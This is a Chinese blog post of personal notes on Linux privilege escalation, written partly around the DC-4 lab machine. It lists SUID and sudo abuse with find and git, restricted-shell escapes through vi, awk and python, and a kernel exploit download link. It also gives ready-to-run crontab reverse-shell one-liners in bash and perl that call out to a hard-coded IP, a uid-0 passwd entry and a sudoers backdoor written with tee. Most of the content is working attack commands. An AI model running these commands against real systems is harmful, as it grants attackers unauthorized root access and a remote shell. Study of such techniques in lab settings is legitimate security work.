• linux提权方法(不断总结更新)


    1.suid提权

    运行某些程序时暂时获得root的权限,例如ping(socket需要root才能运行)
    

    搜索符合条件的可以用来提权的:

    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} ;
    find / -user root -perm -4000 -print 2>/dev/null
    三种都可以
    

    搜索可以提权的程序,一般有以下 :

    nmap vim find Bash More Less Nano cp
    

    举例:find提权

    find / -perm -u=s -type f 2>/dev/null
    

    Snipaste_2019-12-13_21-05-13.png

    发现find可以利用

    普通用户,进入到/tmp目录下,然后新建一个文件。

    touch abcd
    find abcd -exec whoami ;
    

    Snipaste_2019-12-13_21-05-59.png

    会发现已经是root权限

    2.rbash绕过

    rbash就是受限制的bash,一般管理员会限制很多命令,例如whoami cd cat等很多常用的命令,不过肯定会有命令可以使用,我们可以查看$PATH有哪些,或者自己挨个试  
    
    echo $PATH  #查看自己可以使用的命令
    

    Snipaste_2019-12-13_21-27-29.png

    less,ls,scp,vi 是我们可以用的
    

    尝试用以下来绕过

    #干就完事了
    1.
    vi test
    :!/bin/sh
    2.ed
    3.ne
    4. more less
    more test 
    !'sh'
    5.
    man ls
    操作同more less
    6.find
    /usr/bin/find /etc/passwd  -exec whoami ;
    /usr/bin/find /etc/passwd  -exec /bin/sh ;
    7.nmap
    低版本
    8.awk
    awk 'BEGIN {system("/bin/sh")}'
    9.python
    python -c "import os;os.system('whoami')"
    python -c "import os;os.system('/bin/sh')"
    python -c "import pty;pty.spawn('/bin/sh')"
    10.ruby
    11.perl
    12.php
    13.
    BASH_CMDS[a]=/bin/sh;a
    

    最后用13成功绕过了rbash,进入了人sh

    Snipaste_2019-12-13_21-39-19.png
    赶紧试试用/bin/bash进入bash,没有权限的提升,我就觉得这个好用,能用tab补全
    
    执行:
    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin
    
    或者:PATH=$PATH:/bin
    PATH=$PATH:/usr/bin
    
    就可以正常使用了
    

    3.git提权

    sudo git help config
    	!/bin/bash或者!'sh'完成提权
    
    sudo git  -p help
    	!/bin/bash
    

    4.Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation

    下载地址:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

    Snipaste_2019-12-19_10-22-35.png

    5.sudoer配置文件错误提权

    5.1 基础知识

    有的时候,普通用户经常要执行某个命令,但是经常需要sudo输入密码,我们就可以通过配置/etc/sudoers文件来实现普通用户某个命令权限的提升,但是如果一旦是给了用户写入的root权限,比如vi,那么这个普通用户一旦被入侵,就可以通过vi来提权
    
    首先来看/etc/sudoers
    chmod u+w /etc/shudoers
    vi /etc/sudoers
    
    看到这里
    # User privilege specification
    root    ALL=(ALL:ALL) ALL
    

    Snipaste_2019-12-20_20-12-05.png

    root:代表用户
    第一个ALL:之网络中的主机,我也不知道什么意思,但是这个all还是不动好了
    第二个(ALL:ALL):指以谁的身份去执行,root就行了
    第三个ALL:指所有的命令,可以自己制定,比如/bin/ls,/bin/nc
    
    看下面的图:
    代表了用户zaq可以以root的权限运行ls指令
    

    Snipaste_2019-12-20_20-34-52.png

    前边要加sudo,可以看到zaq用户成功查看了/root目录的结构
    

    Snipaste_2019-12-20_17-30-18.png

    sudo -l 显示出自己(执行 sudo 的使用者)的权限
    

    Snipaste_2019-12-20_20-46-23.png

    5.2 提权

    如果这个/bin/ls变成了可以写入文件的命令会怎么办呢?比如:
    /usr/bin/tee
    
    这是在DC-4靶机上遇到的
    
    
    #####################################################################
    先看以下tee的用法
    zaq@instance-f95a3vkt:/bin$ /usr/bin/tee --help
    Usage: /usr/bin/tee [OPTION]... [FILE]...
    Copy standard input to each FILE, and also to standard output.
    
      -a, --append              append to the given FILEs, do not overwrite
      -i, --ignore-interrupts   ignore interrupt signals
      -p                        diagnose errors writing to non pipes
          --output-error[=MODE]   set behavior on write error.  See MODE below
          --help     display this help and exit
          --version  output version information and exit
    ####################################################################
    
    把输入写入文件,如果是-a的话就会在最后新起一行追加内容
    

    1.corntab反弹shell

    当 /bin/sh指向/bin/dash的时候(ubuntu默认这样,当前的靶机也是这样),反弹shell用bash的话得这样弹:
    * * * * * root bash -c "bash -i  >&/dev/tcp/106.13.124.93/2333 0>&1"
    
    这样弹shell的时候不知道为什么很慢,耐心等等
    

    Snipaste_2019-12-20_20-06-26.png

    Snipaste_2019-12-20_20-06-41.png

    或者:
    */1 * * * * root perl -e 'use Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    

    Snipaste_2019-12-20_20-03-53.png

    Snipaste_2019-12-20_20-04-11.png

    2.suid

    Snipaste_2019-12-20_21-17-33.png

    值得注意的是:chmod 4777 /bin/bash不会有这种效果(曾经看到这个解答,我给忘了,你不用管为什么了,自己试试就好了)
    

    3.passwd添加用户

    test:x:0:0::/home/admin:/bin/bash
    

    Snipaste_2019-12-20_21-22-05.png

    4.sudoers文件

    echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers
    
  • 相关阅读:
    linux服务器安全配置攻略
    Linux服务器调优
    Tengine + Lua + GraphicsMagick 实现图片自动裁剪/缩放
    nginx缓存设置
    动态缓存技术之CSI,SSI,ESI
    ionic环境配置
    Node.js企业开发:应用场景
    HashMap实现原理、核心概念、关键问题的总结
    《Windows核心编程》读书笔记.Chapter06线程基础
    开发环境eclipse for Mac 下的常用快捷键汇总(基本参照Win系,将Ctrl换为Command)
  • 原文地址:https://www.cnblogs.com/zaqzzz/p/12075132.html
Copyright © 2020-2023  润新知